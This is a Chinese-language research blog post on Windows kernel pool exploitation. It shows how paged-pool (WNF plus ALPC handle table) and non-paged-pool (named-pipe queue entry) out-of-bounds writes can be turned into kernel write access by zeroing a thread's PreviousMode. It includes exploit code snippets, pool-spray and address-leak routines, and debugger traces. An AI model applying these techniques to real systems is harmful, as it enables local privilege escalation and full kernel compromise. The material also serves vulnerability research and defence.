新型Windows内核池风水利用工具研究

news2024/11/24 9:11:25

引用

这篇文章的目的是介绍一种新型基于内核态分页内存和非分页内存的越界写入通用利用技术和相关工具复现.

文章目录

    • 引用
    • 简介
    • 分页模式利用分析
    • 分页模式利用调试分析
    • 非分页模式利用分析
    • 非分页模式利用调试分析
    • 工具使用方法
    • 工具使用效果
    • 相关引用
    • 参与贡献

简介

笔者的在原作者利用工具基础上进行二次开发,新增了笔者原创的非分页模式漏洞利用方式,优化并重构利用相关代码结构的耦合性,解决了不同Windows版本适配问题,对利用条件和利用难度进行优化,工具包括适配驱动和利用程序两部分组成,实现了在Windows 10 19H1之后任意版本包括满补丁系统上的稳定利用.

分页模式利用分析

对于原作者分页内存利用工具笔者通过逆向相关内核模块文件,复现了相关利用细节,并将相关利用代码合并进入了笔者漏洞利用工具工程中.
当调用NtAlpcCreatePort创建ALPC端口对象时会在这个对象0x28偏移量处保存一个名为_ALPC_HANDLE_TABLE句柄表,这个句柄表可以理解为一个容器的作用,句柄表结构体用于存放句柄_KALPC_RESERVE的指针迭代和表示句柄表数量,句柄表大小与句柄的关系是0x10 * TotalHandles,每次当句柄表的大小不足以容纳相关数量的句柄时,句柄表会自动扩容一倍,并把原来句柄表中的句柄复制到新的句柄表数组中,句柄表所在内存为分页内存,大小已知且可控.

signed __int64 __fastcall AlpcAddHandleTableEntry(_ALPC_HANDLE_TABLE *a1, _KALPC_RESERVE *blob)
{  
  if ( a1->TotalHandles )
  {
    blobtofind = a1->Handles;
    while ( blobtofind->Object )
    {
      ++idx;
      ++blobtofind;
      if ( idx >= ctnt )
        goto newalloc;
    }
    blobtofind->Object = *(void **)blob;   
    result = idx + 16;
  }  
newalloc:
      HandleTableEntry = (_ALPC_HANDLE_ENTRY *)ExAllocatePoolWithTag(PagedPool, 0x10 * ctnt, 'aHlA');      
	  memset(HandleTableEntry, 0, 16i64 * a1->TotalHandles);
	  memmove(HandleTableEntryRef, a1->Handles, 8i64 * a1->TotalHandles);
	  TotalHandles = a1->TotalHandles;
	  HandleTableEntryRef[TotalHandles] = *(_ALPC_HANDLE_ENTRY *)blob;	 
	  TotalHandlesNew = 2 * a1->TotalHandles;
	  a1->Handles = HandleTableEntryRef;
	  a1->TotalHandles = TotalHandlesNew;      
	 return  TotalHandles + 16; 
}
__int64 __fastcall NtAlpcCreateResourceReserve(HANDLE Handle, int a2, __int64 a3, _DWORD *MessageId)
{
void * v16 = ObReferenceObjectByHandle(Handle, 1u, AlpcPortObjectType, v14, &Object, 0i64);
 _KALPC_RESERVE *blob = AlpcpAllocateBlob((__int64)AlpcConnectionType, 72i64, 1);
 AlpcAddHandleTableEntry( (_ALPC_HANDLE_TABLE *)(Object + 0x28),blob);
 *MessageId = blob->Handle;
 }
_KALPC_RESERVE *__fastcall AlpcReferenceBlobByHandle(_ALPC_HANDLE_TABLE *hdlentry, int hdl, _DWORD *a3)
{

  hdlnow = (unsigned int)(hdl - 0x10);
  if ( (unsigned int)hdlnow < hdlentry->TotalHandles
    && (blob = hdlentry->Handles[hdlnow].Object) != 0i64
    && *((unsigned __int8 *)blob + 0xFFFFFFE1) == *a3
    && AlpcpReferenceBlob((ULONG_PTR)blob) ) 
  return blob;
}

void __fastcall AlpcpCaptureMessageDataSafe(_KALPC_MESSAGE *msg)
{
int rvclen = AlpcpAvailableBufferSize(msg);
dint atalen=msg->PortMessage.u1.s1.DataLength
memmove(msg->ExtensionBuffer, &msg->DataUserVa[reclen], datalen - reclen);
  }
}
__int64 __fastcall NtAlpcSendWaitReceivePort(HANDLE Handle, int flag, void *sendmsg, __int64 sendattr, __int64 a5, __int64 a6, __int64 a7, __int64 a8)
{
void * v16 = ObReferenceObjectByHandle(Handle, 1u, AlpcPortObjectType, v14, &Object, 0i64);
 _KALPC_RESERVE blob= (_KALPC_RESERVE *)AlpcReferenceBlobByHandle(
                                (_ALPC_HANDLE_TABLE *)(Object + 0x28),
                                sendmsg->MessageId & 0x7FFFFFFF,
                                AlpcReserveType);
      _KALPC_MESSAGE *msg=blob->Message;
	  AlpcpCaptureMessageDataSafe(msg);
}
struct _WNF_STATE_DATA
{
    struct _WNF_NODE_HEADER Header;                                         //0x0
    ULONG AllocatedSize;                                                    //0x4
    ULONG DataSize;                                                         //0x8
    ULONG ChangeStamp;                                                      //0xc
};
__int64 __fastcall NtUpdateWnfStateData(__int64 a1, __int64 Buff, __int64 len, __int64 a4, __int64 a5, int a6, int a7)
{
 ret= ExpWnfLookupNameInstance(v41, v36, &wnf);
 wnfdata = *(_DWORD **)(wnf + 0x58);
 if(AllocatedSize>len){
  memmove(wnfdata + 4, Buff, len);
 }
}

从上面的代码可以看到NtAlpcCreateResourceReserve创建KALPC_RESERVE结构体blob存在句柄表数组中,并在Message字段存放了需要读取和写入的消息结构体实例,调用这个读取和写入的过程只需要将NtAlpcSendWaitReceivePort第3个参数中指定关联句柄表的句柄id,会在AlpcReferenceBlobByHandle中找到的句柄的实例指针,构造这个伪造的用户态KALPC_RESERVE结构体,这里需要注意的是句柄的消息内容Message是存在这个句柄结构体中自身的,而不是NtAlpcSendWaitReceivePort请求中的消息类型,接着就会对KALPC_RESERVE->->Message->ExtensionBuffer实现任意的内核态内存的写入.通过正常的调用方式,这个句柄id在NtAlpcCreateResourceReserve函数中作为返回参数返回,同样也可以实现调用.构造这个利用条件就需要构造如下整齐排列的分页堆占位状态,通过按照这个顺序分批大量的WNF结构体和句柄表结构体.

0x10000x10000x10000x10000x1000
WNF漏洞块WNFALPC_HANDLE_TABLEWNF

对漏洞块进行越界修改WNF_STATE_DATA结构体里的DataSize和AllocatedSize字段,使得用户可以操作的内存区域超过当前分配的结构体边界,这样就可以通过NtUpdateWnfStateData这个函数修改下个堆块ALPC_HANDLE_TABLE句柄表里的内容为伪造的用户态KALPC_RESERVE指针数组.由于WNF和句柄表的位置是未知的,需要通过调用NtQueryWnfStateData执行越界读取的如果结果返回0xc0000023即可判断出这个对WNF操作的访问可以越界,这样调用NtUpdateWnfStateData就可以对下个堆块句柄表中的前n项KALPC_RESERVE句柄指针数组进行修改.


int testalpc()
{
	HANDLE hConnectPort = NULL;
	OBJECT_ATTRIBUTES oa;
	NTSTATUS status;
	ALPC_PORT_ATTRIBUTES apa;
	SECURITY_QUALITY_OF_SERVICE sqos;
	UNICODE_STRING us;
	HANDLE       ResourceID;
	PPORT_MESSAGE                  sm;
	RtlInitUnicodeString(&us, L"\\RPC Control\\NameOfPort");
	RtlZeroMemory(&sqos, sizeof(SECURITY_QUALITY_OF_SERVICE));
	InitializeObjectAttributes(&oa, &us, 0x200, 0, NULL);
	RtlSecureZeroMemory(&apa, sizeof(apa));
	apa.MaxMessageLength = MAX_MSG_LEN; // For ALPC this can be max of 64KB
	status = NtAlpcCreatePort(&hConnectPort, &oa, &apa);	
	status = NtAlpcCreateResourceReserve(hConnectPort, 0, 0x200, &ResourceID);	
	ULONG nLen = MAX_MSG_LEN;
	sm = (PPORT_MESSAGE)malloc(nLen);
	RtlSecureZeroMemory(sm, MAX_MSG_LEN);
	sm->u1.s1.TotalLength = MAX_MSG_LEN;
	sm->u1.s1.DataLength = 0x20;
	sm->u1.s1.TotalLength = sm->u1.s1.DataLength + sizeof(PORT_MESSAGE);
	sm->MessageId = (ULONG)ResourceID;
	LPVOID msgptr = (LPVOID)((ULONGLONG)sm + sizeof(PORT_MESSAGE));
	RtlFillMemory(msgptr, 0x40, 0);
	PKALPC_RESERVE obj = (PKALPC_RESERVE)malloc(sizeof(KALPC_RESERVE));
	RtlSecureZeroMemory(obj, sizeof(KALPC_RESERVE));
	obj->Size = 0x18 + sizeof(PORT_MESSAGE);
	PKALPC_MESSAGE msg = (PKALPC_MESSAGE)malloc(sizeof(KALPC_MESSAGE) + nLen);
	RtlSecureZeroMemory(msg, sizeof(KALPC_MESSAGE) + nLen);
	obj->Message = msg;
	memcpy(&msg->PortMessage, sm, nLen);
	msg->PortMessage.u1.s1.DataLength = 0x10;
	msg->PortMessage.u1.s1.TotalLength = 0x10 + sizeof(PORT_MESSAGE);
	msg->Reserve = obj;
	LPVOID userbuf = malloc(nLen);
	RtlFillMemory(userbuf, nLen, 'C');
	msg->DataUserVa = userbuf;
	msg->ExtensionBuffer = (LPVOID)(ullKThreadAddress + dwThreadPreModePos);
	msg->ExtensionBufferSize = sm->u1.s1.DataLength;
	printf("[+] dt nt!_KALPC_RESERVE %p\r\n", obj);	
	return NtAlpcSendWaitReceivePort(hConnectPort, 0, sm, NULL, NULL, &nLen, NULL, NULL);	
}

修改KALPC_RESERVE句柄指针KALPC_RESERVE->MessageId为之前控制的用户态id,由于这个id是由用户指定的,使用指定这个id对所有之前分配的ALPC端口对象调用NtAlpcSendWaitReceivePort就可以对任意的内核态内存地址进行写入,位置可控长度也可控内容也可控,对使用这个id对不匹配的其他对象操作并不会引起异常.经过调试这个函数调用中对构造的结构体中相关的字段检查均可以绕过,上面的代码片段demo简单描述相关利用步骤.完整的利用过程还是交给读者自行研究,这里只是起到抛砖引玉的作用.

分页模式利用调试分析

bp poolqudong!CommandCopy
0: kd> r
rax=ffffa307188e4e20 rbx=ffffa307188e4e20 rcx=ffffa3071b7b96c0
rdx=ffffa307188e4e20 rsi=0000000000000001 rdi=ffffa3071b6f6be0
rip=fffff800588b10e0 rsp=ffffc80c431527a8 rbp=0000000000000002
 r8=000000000000000e  r9=ffffa3071a00e820 r10=fffff800588b1510
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=ffffa3071b6f6be0 r15=ffffa3071a00e820
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040286
poolqudong!CommandCopy:
fffff800`588b10e0 48894c2408      mov     qword ptr [rsp+8],rcx ss:0018:ffffc80c`431527b0=ffffa307188e4e20
0: kd> dq rcx
ffffa307`1b7b96c0  00000000`00000010 ffffcc83`0aac2004
ffffa307`1b7b96d0  000000e8`a6afe078 00000000`00000000
//查看_ALPC_HANDLE_TABLE
4: kd> dq ffffcc83`0aac3000
ffffcc83`0aac3000  000001f3`6df31870 000001f3`6df32bc0
ffffcc83`0aac3010  ffffcc83`81470570 ffffcc83`8146fd20
//_KALPC_RESERVE指向用户态结构体
4: kd> dt nt!_KALPC_RESERVE 000001f3`6df31870
   +0x000 OwnerPort        : (null) 
   +0x008 HandleTable      : (null) 
   +0x010 Handle           : (null) 
   +0x018 Message          : 0x000001f3`6df318e0 _KALPC_MESSAGE
   +0x020 Size             : 0x40
   +0x028 Active           : 0n0
4: kd> dx -id 0,0,ffffa3071755c080 -r1 ((ntkrnlmp!_KALPC_MESSAGE *)0x1f36df318e0)
((ntkrnlmp!_KALPC_MESSAGE *)0x1f36df318e0)                 : 0x1f36df318e0 [Type: _KALPC_MESSAGE *]
    [+0x000] Entry            [Type: _LIST_ENTRY]
    [+0x010] PortQueue        : 0x0 [Type: _ALPC_PORT *]
    [+0x018] OwnerPort        : 0x0 [Type: _ALPC_PORT *]
    [+0x020] WaitingThread    : 0x0 [Type: _ETHREAD *]
    [+0x028] u1               [Type: <anonymous-tag>]
    [+0x02c] SequenceNo       : 0 [Type: long]
    [+0x030] QuotaProcess     : 0x0 [Type: _EPROCESS *]
    [+0x030] QuotaBlock       : 0x0 [Type: void *]
    [+0x038] CancelSequencePort : 0x0 [Type: _ALPC_PORT *]
    [+0x040] CancelQueuePort  : 0x0 [Type: _ALPC_PORT *]
    [+0x048] CancelSequenceNo : 0 [Type: long]
    [+0x050] CancelListEntry  [Type: _LIST_ENTRY]
    [+0x060] Reserve          : 0x1f36df31870 [Type: _KALPC_RESERVE *]
    [+0x068] MessageAttributes [Type: _KALPC_MESSAGE_ATTRIBUTES]
    [+0x0b0] DataUserVa       : 0x1f36df31f40 [Type: void *]
    [+0x0b8] CommunicationInfo : 0x0 [Type: _ALPC_COMMUNICATION_INFO *]
    [+0x0c0] ConnectionPort   : 0x0 [Type: _ALPC_PORT *]
    [+0x0c8] ServerThread     : 0x0 [Type: _ETHREAD *]
    [+0x0d0] WakeReference    : 0x0 [Type: void *]
    [+0x0d8] WakeReference2   : 0x0 [Type: void *]
//写入地址msg->ExtensionBuffer = (LPVOID)(ullKThreadAddress + dwThreadPreModePos);	
    [+0x0e0] ExtensionBuffer  : 0xffffa3071adf12b2 [Type: void *]
    [+0x0e8] ExtensionBufferSize : 0x20 [Type: unsigned __int64]
    [+0x0f0] PortMessage      [Type: _PORT_MESSAGE]
//对写入的地址下硬件断点	
ba w1 0xffffa3071adf12b2;
3: kd> r
rax=ffffa3071adf12b2 rbx=000001f36df318e0 rcx=ffffa3071adf12b2
rdx=0000000000000000 rsi=000001f36df318e0 rdi=0000000000000008
rip=fffff8005420d4da rsp=ffffc80c43152738 rbp=ffffa3071b6cdaa0
 r8=0000000000000008  r9=0000000000000001 r10=7ffffffffffffffc
r11=0000000000000000 r12=0000000000000020 r13=0000000000000000
r14=000001f36e070038 r15=0000000000000018
iopl=0         nv up ei ng nz na pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040283
nt!memcpy+0x1a:
fffff800`5420d4da 4a895401f8      mov     qword ptr [rcx+r8-8],rdx ds:002b:ffffa307`1adf12b2=0000000000000000 
3: kd> kv
 # Child-SP          RetAddr               : Args to Child                                                           : Call Site
00 ffffc80c`43152738 fffff800`5448b337     : 00000000`00000000 fffff800`5400b27e ffffcc83`08621f40 00000000`00000000 : nt!memcpy+0x1a
01 ffffc80c`43152740 fffff800`5448a865     : 000001f3`6df318e0 ffffffff`ffffffff 00000000`00000000 00000000`00000000 : nt!AlpcpCaptureMessageDataSafe+0x197
02 ffffc80c`43152780 fffff800`5448a62d     : ffffc80c`43152a00 ffffa307`1b6cda00 ffffa307`00000000 fffff800`544e7bbf : nt!AlpcpCompleteDispatchMessage+0x155
03 ffffc80c`43152830 fffff800`5448a386     : 00000000`00000000 ffffa307`1adf1080 00000000`80000010 00000000`00000000 : nt!AlpcpDispatchNewMessage+0x25d
04 ffffc80c`43152890 fffff800`5448731a     : ffffc80c`43152a30 000001f3`6e070010 00000000`00000000 000001f3`6e0a1001 : nt!AlpcpSendMessage+0x9f6
05 ffffc80c`431529d0 fffff800`5420bfb5     : ffffa307`1adf1080 ffffc80c`43152b80 000000e8`a6afcfc8 ffffc80c`43152aa8 : nt!NtAlpcSendWaitReceivePort+0x21a
06 ffffc80c`43152a90 00007ffc`4f78dee4     : 00007ff6`332df90e 000001f3`6e070010 00000000`00000500 000000e8`a6afcff0 : nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffffc80c`43152b00)

对越界写函数poolqudong!CommandCopy下断点展开,查看_ALPC_HANDLE_TABLE地址ffffcc830aac3000可以看到句柄表的前2个句柄已经被修改为000001f36df31870,指向_KALPC_RESERVE用户态结构体,里面ExtensionBuffer指向了Kthread结构体+0x232是PreMode位置ffffa3071adf12b2,在nt!AlpcpCaptureMessageDataSafe中被从原值1修改为0,这样就可以实现用NtWriteVirtualMemory写内核态内存了,至此完成了漏洞的利用.

非分页模式利用分析

原作者非分页内存利用工具项目过去年代久远,笔者未在最新版windows系统上复现利用,不过笔者通过逆向命名管道驱动NPFS.SYS具体实现细节,发现了一种全新的可以适用于最新版Windows 10 22h2利用方式.这种利用方式相当巧妙,只需要越界写入0x18个已知可控内容字节数据,就可以实现完美利用,利用成功后可以正常退出进程,不影响已申请的内核态内存释放.
命名管道的后端实现在一个名为NPFS.SYS驱动中,模块的主要实现和公开的npfs模块reactos源码基本上大致相同,只不过多了一些细节上的优化,通过逆向驱动对比源码分析我们得到了如下的2个数据结构

typedef struct _DATA_QUEUE_ENTRY{
    LIST_ENTRY Queue;    
    _IRP* Irp;
    __int64 SecurityContext;
    int EntryType;
    int QuotaInEntry;
    int DataSize;
    int x;
} DATA_QUEUE_ENTRY,*PDATA_QUEUE_ENTRY;
typedef struct _NP_DATA_QUEUE
{
    LIST_ENTRY Queue;
    ULONG QueueState;
    ULONG BytesInQueue;
    ULONG EntriesInQueue;
    ULONG QuotaUsed;
    ULONG ByteOffset;
    ULONG Quota;
} NP_DATA_QUEUE, *PNP_DATA_QUEUE;
//nSize指定了pipe的最大容量
BOOL CreatePipe(
  [out]          PHANDLE               hReadPipe,
  [out]          PHANDLE               hWritePipe,
  [in, optional] LPSECURITY_ATTRIBUTES lpPipeAttributes,
  [in]           DWORD                 nSize
);

以通过CreatePipe创建命名管道文件对象为例,文件实例绑定了一个名为NP_DATA_QUEUE类型的队列对象,CreatePipe的参数nSize指定了当前pipe的最大容量或者说是允许最大缓冲区长度,每对pipe进行一次读写操作就会增加一个DATA_QUEUE_ENTRY,若干次写可以对应若干次读,当存在读数据的请求时irp就会挂起,直到写入请求的数据量达到读取请求的数据量才会完成整个读取irp请求,比如说pipe的容量是1000,第一次写了1000的数据,这个写请求会返回,第二次又写了1000数据那么这个请求就一直挂起,直到读取了1000数据后,最后写入的数据小于或等于pipe的容量,后面写请求才会返回.对于读请求也是同理,这里不再赘述.

typedef enum _NP_DATA_QUEUE_STATE
{
    ReadEntries = 0,
    WriteEntries = 1,
    Empty = 2
} NP_DATA_QUEUE_STATE;
__int64 __fastcall NpWriteDataQueue(PNP_DATA_QUEUE queuethis, int a2, __int64 buf, unsigned int inlen, int a5, __int64 inlenptr, __int64 a7, int a8, PETHREAD ClientThread, __int64 a10)
{
 if ( queuethis->QueueState || (writelen = *(_DWORD *)inlenptr) == 0 && !v13 )
    {
      if ( *(_DWORD *)inlenptr || v13 )
        hr = 0xC0000016;
      return hr;
    }
	 if ( isbuffed == 1 || !writelen )
  {
  //如果有读取irp请求使用这个irp的buffer
    writedest = (_IRP *)entryfirst->Irp->AssociatedIrp.SystemBuffer;
    P = writedest;
    inlenptra = 0;
    writelenref = writelen;
  }
  else
  {
   //如果没有读取irp请求,申请临时buffer
    writelenref = writelen;
    writedest = (_IRP *)ExAllocatePoolWithTag((POOL_TYPE)512, writelen, 0x5246704Eu);
    P = writedest;
    if ( !writedest )
      return 3221225626i64;
    inlenptra = 1;
    inlen = v60;
    bufref = v59;
  }
  memmove(writedest, (const void *)(bufref + inlen - *(_DWORD *)inlenptr), writelenref);
 
}
__int64 __fastcall NpReadDataQueue(__int64 a1, PNP_DATA_QUEUE entrythis, char a3, char a4, __int64 buf, size_t Size, int a7, __int64 a8, __int64 a9)
{
 if ( !val1or0check || entryfirst->EntryType <= 1u )
      {
        if ( entryfirst->EntryType == 1 )
          entrybuf = (char *)entryfirst->Irp->AssociatedIrp.MasterIrp;
        else
          entrybuf = (char *)&entryfirst->DataEntryPtr;
        firstdatasize = entryfirst->DataSize;
        entrysize = firstdatasize;
        if ( entryfirst == (DATA_QUEUE_ENTRY *)entrythis->Queue.Flink )
          entrysize = firstdatasize - entrythis->Quota;
        copysize = entrysize;
        if ( entrysize >= copyoffset )
          copysize = copyoffset;
		//读取数据返回应用层  
        memmove((void *)(buf + copyoffsetmax - copyoffset), &entrybuf[entryfirst->DataSize - entrysize], copysize);
    }
 if ( queuethis->QueueState == _NP_DATA_QUEUE_STATE::Empty )
    {
      return 0;
    }
    else
    {
	          PDATA_QUEUE_ENTRY entrylookup = (DATA_QUEUE_ENTRY *)entrythis->Queue.Flink;
              PDATA_QUEUE_ENTRYentrylink = entrythis->Queue.Flink->Flink;
              if ( (PNP_DATA_QUEUE)entrythis->Queue.Flink->Blink != entrythis
                || (DATA_QUEUE_ENTRY *)entrylink->Blink != entrylookup )
              {
                __fastfail(3u);
              }
              entrythis->Queue.Flink = entrylink;
              entrylink->Blink = &entrythis->Queue;
              entrythis->BytesInQueue -= entrylookup->DataSize;
              --entrythis->EntriesInQueue;
			   // entryirp+68
              if ( entryirp && !_InterlockedExchange64((volatile __int64 *)&entryirp->CancelRoutine, 0i64) )
              {
                // entryirp+90=0
                entryirp->Tail.Overlay.DriverContext[3] = 0i64;
				//之后entryirp不再引用
                entryirp = 0i64;
              }
	}
}

__int64 __fastcall NpAddDataQueueEntry(int a1, void *a2, PNP_DATA_QUEUE queue, int queuestate, int val1, size_t outlen, __int64 irp, __int64 irpref, int a9)
{
    if ( queuestate )
    {
	PDATA_QUEUE_ENTRY newentry = (PDATA_QUEUE_ENTRY)ExAllocatePoolWithQuotaTag((POOL_TYPE)0x308, newlen, 'rFpN'))
	}else{
	PDATA_QUEUE_ENTRY newentry = *(PDATA_QUEUE_ENTRY *)&queue->DataPtr;
	}
	newentry->QuotaInEntry = v15;
      newentry->Irp = irpref;
      newentry->EntryType = 0;
      newentry->SecurityContext = (__int64)v12;
      newentry->DataSize = outlen;
      if ( queuestate )
      {        
	    irpbuf = irpref->UserBuffer;       
        memmove(&newentry->DataEntryPtr, irpbuf, (unsigned int)outlen);
	}	
	 int byteleft = queue->QuotaUsed - queue->ByteOffset;
	   if ( byteleft > (int)outlen - a9  )
        {
		newentry->Irp = 0i64;
		}
	newentry->EntryType = val1;
    newentry->QuotaInEntry = 0;
    newentry->Irp = irpref;
	 queref = queue->Queue.Blink;
    if ( (PNP_DATA_QUEUE)queref->Flink != queue )
    __fastfail(3u);
  newentry->Queue.Flink = &queue->Queue;
  newentry->Queue.Blink = queref;
  queref->Flink = &newentry->Queue;
  queue->Queue.Blink = &newentry->Queue;	
}

所有的读写请求都分别被储存在一个DATA_QUEUE_ENTRY结构体中,当前缓冲区剩余大小小于下一次需要操作的entry时候,挂起的irp指针就会写入entry的对应字段,用于在下次操作时获取输入输出缓冲区指针.当遇到读取请求时且存在一个或多个写的entry,就会遍历entry把对应数据根据请求大小取出指定读取部分,将相关entry移出链表,这个时候就可以构造伪造的entry的前0x18字节的内容,开始0x10为链表结构数据,这里面的数据越界写时必须和原数据相同需要绕过,entry->Irp字段默认为0但是可以通过越界写构造.利用的原理是npfs对这个irp指针存在短暂的引用可以构造一个任意写,如果构造了一个伪造的irp指针,根据上面代码显示如果irp->CancelRoutine被_InterlockedExchange64后原值也为0,那么irp->Tail.Overlay.DriverContext[3] = 0,也就是说如果entryirp+68置为0那么entryirp+90也就可以置为0,把这个指针+90映射到当前线程Kthread结构体+0x232是PreMode位置,这个值就可以给赋值成KernelMode=0,之后就可以用NtWriteVirtualMemory写内核态内存了;这之前有个验证,也就是irp->CancelRoutine,映射后那么这个对应字段entryirp+68==irp->CancelRoutine这个位置的值正好是Kthread+0x20a对应字段QueueListEntry,恰好这个值默认就是0,正好符合了利用条件.而且完成这个操作后局部变量entryirp会置为空指针,之后对这个指针的所有引用都会取消,所以就可以实现完美利用不会发生蓝屏,这个方法是笔者自创的,之前还未有人发现.
有需要绕过的一个东西,每个entry结构和NP_DATA_QUEUE构成了一个环形的链表结构,NP_DATA_QUEUE为链表的起始,DATA_QUEUE_ENTRY为后面的分支链表,链表的起始queue的Flink指向第一个entry,Blink指向最后一个entry,第一个entry的Flink指向下个entry,Blink指向queue,下一个entry的Flink指向下个entry,Blink指向前一个entry,最后一个entry的Flink指向queue,Blink指向前一个entry,只存在一个entry和queue时它们的链表节点均指向对方,当存在多个entry的情况下当前entry的Flink指向下个entry,Blink指向前一个entry,下一个entry的Flink指向下一个entry,Blink指向前一个entry.这个概念和利用技术至关重要,只存在一个entry情况下,由于无法预测queue所在分页内存的位置,那么就推导不出要覆盖写入的entry的Flink和Blink的值,如果要构造利用的话就需要越过entry指针的0x10偏移量(sizeof(LIST_ENTRY))的位置进行越界写入,利用条件比较苛刻不推荐使用.相对来说比较可行的利用方案是,构造3个entry,如果3个entry的地址可以通过bigpool泄露出来的话,那么中间那个entry也就是vul的Flink指向下个entry,Blink指向前一个entry,整个entry的包括链表内容就可以认为是已知可控的.构造这个利用只需要把3个entry按顺序布局,然后把需要越界写的漏洞块放在第一个entry和第二个entry也就是vul中间,越界写的位置位于漏洞块结尾也即是vul的前0x18字节的内容,最后发送一个读取irp请求大小为3个entry的总和,就可以在NpReadDataQueue触发其中包括这个vul的entry的任意写漏洞利用了,这种方式越界位置可控,数据可控是比较理想的利用方案,具体内存布局如下图.

查看大图

bool CheckBigPoolHeap()
{	std::vector<ULONGLONG> checkniii;
	std::vector<ULONGLONG> checknpfs;
	DWORD dwBufSize = 1024 * 1024;
	DWORD dwOutSize = 0;
	LPVOID pBuffer = LocalAlloc(LPTR, dwBufSize);
	NTSTATUS hRes = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize);
	DWORD dwExpectedSize = xploit->ghost_chunk_size;
	DWORD dwtargeted_vuln_size = xploit->targeted_vuln_size;
	ULONG_PTR StartAddress = (ULONG_PTR)pBuffer;
	ULONG_PTR EndAddress = StartAddress + 8 + *((PDWORD)StartAddress) * sizeof(BIG_POOL_INFO);
	ULONG_PTR ptr = StartAddress + 8;
	while (ptr < EndAddress)
	{
		PBIG_POOL_INFO info = (PBIG_POOL_INFO)ptr;		
		if (info->PoolTag == 'mNhT' && dwExpectedSize == info->PoolSize)
		{
			ULONG_PTR FakeAddress = (((ULONG_PTR)info->Address) & 0xfffffffffffffff0);
			checkniii.push_back(FakeAddress);			
		}
		if (info->PoolTag == 'rFpN' && dwtargeted_vuln_size == info->PoolSize)
		{
			ULONG_PTR FakeAddress = (((ULONG_PTR)info->Address) & 0xfffffffffffffff0);			
			checknpfs.push_back(FakeAddress);			
		}
		ptr += sizeof(BIG_POOL_INFO);
	}
	for (ULONGLONG npAddress1 : checknpfs)
	{
		for (ULONG_PTR FakeAddressNiii : checkniii)
		{
			if (npAddress1 + dwtargeted_vuln_size == FakeAddressNiii) {

				for (ULONGLONG npAddress2 : checknpfs)
				{
					if (FakeAddressNiii + dwExpectedSize == npAddress2) {

						for (ULONGLONG npAddress3 : checknpfs)
						{
							if (npAddress2 + dwtargeted_vuln_size == npAddress3)
							{															
								ULONGLONG fakeirp = ullKThreadAddress + dwThreadPreModePos - 0x90;								
								pipe_queue_entry_t overwritten_pipe_entry ={0};
								overwritten_pipe_entry->list.Flink = (LIST_ENTRY*)npAddress3;
								overwritten_pipe_entry->list.Blink = (LIST_ENTRY*)npAddress1;
								overwritten_pipe_entry->irp_10 = (uintptr_t)(fakeirp);
								overwritten_pipe_entry->security = 0;
								overwritten_pipe_entry->field_20 = 0x0;
								overwritten_pipe_entry->DataSize = xploit->targeted_vuln_size-0x40;
								overwritten_pipe_entry->remaining_bytes = xploit->targeted_vuln_size-0x40;								
								arbitrary_write(0x18, npAddress2, overwritten_pipe_entry);								
								return  true;
							}
						}
					}
				}
			}
		}
	}
void triggervul(){
	pipe_spray_t* spray1 = prepare_pipes(SPRAY_SIZE * 2, xploit->targeted_vuln_size*3, spray_buf, xploit->spray_type);
	thread_spray_t* thread_spray_obj = prepare_threads(SPRAY_SIZE * 2, xploit->ghost_chunk_size);
	for (size_t i = 0; i < spray1->nb; i++)
	{		
		write_pipe(&spray1->pipes[i], spray1->data_buf, xploit->targeted_vuln_size-0x40);		
		spray_thread(thread_spray_obj, i, xploit->ghost_chunk_size);
		write_pipe(&spray1->pipes[i], spray1->data_buf, xploit->targeted_vuln_size-0x40);
		write_pipe(&spray1->pipes[i], spray1->data_buf, xploit->targeted_vuln_size-0x40);
	}
	if (CheckBigPoolHeap())
	{
	//spray1->bufsize=xploit->targeted_vuln_size*3;
	   read_pipe(spray1, spray1->bufsize);
	}
}

由于需要越界写一般需要构造漏洞块vul之前的一个占位块,暂且用NtSetInformationThread(ThreadNameInformation)方式申请的为非分页内存,按顺序申请这些堆块,很容易通过bigpool得到泄露的按顺序排列的内存地址,利用这个占位块越界写漏洞块就0x18个字节可以实现非分页内存方式利用.上面的代码片段demo简单描述相关利用步骤.完整的利用过程还是交给读者自行研究,这里只是起到抛砖引玉的作用.

非分页模式利用调试分析

Breakpoint 0 hit
poolqudong!CommandCopy:
fffff800`588b10e0 48894c2408      mov     qword ptr [rsp+8],rcx
2: kd> r
rax=ffffa3071bdf6840 rbx=ffffa3071bdf6840 rcx=ffffa307199e71c0
rdx=ffffa3071bdf6840 rsi=0000000000000001 rdi=ffffa3071b20ca10
rip=fffff800588b10e0 rsp=ffffc80c427e97a8 rbp=0000000000000002
 r8=000000000000000e  r9=ffffa3071a00e820 r10=fffff800588b1510
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=ffffa3071b20ca10 r15=ffffa3071a00e820
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040286
poolqudong!CommandCopy:
fffff800`588b10e0 48894c2408      mov     qword ptr [rsp+8],rcx ss:0018:ffffc80c`427e97b0=ffffa3071bdf6840
2: kd> dq rcx
ffffa307`199e71c0  00000000`00000024 ffffa307`1dc54000
ffffa307`199e71d0  0000018d`7771a1c0 00000000`00000000
2: kd> dq  ffffa307`1dc54000
//flink指向下个entry+1000位置,blink指向前一个entry就是ffffa307`1dc54000-xploit->ghost_chunk_size位置
ffffa307`1dc54000  ffffa307`1dc55000 ffffa307`1dc4e000
//fakeirp=ffffa307`1af11222
ffffa307`1dc54010  ffffa307`1af11222 00000000`00000000
Npfs!NpReadDataQueue+0x384f:
fffff800`575818df 4d89a790000000  mov     qword ptr [r15+90h],r12
1: kd> r
rax=0000000000000000 rbx=ffffcc832a52ebf8 rcx=0000000000000000
rdx=0000000000001f00 rsi=ffffa3071dc54000 rdi=ffffa3071dc54000
rip=fffff800575818df rsp=ffffc80c42d10510 rbp=ffffa3071d163700
 r8=0000000000000000  r9=0000000000001040 r10=0000000000000000
r11=ffffa3071dc54ff0 r12=0000000000000000 r13=0000000000000000
r14=ffffc80c42d105d0 r15=ffffa3071af11222
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Npfs!NpReadDataQueue+0x384f:
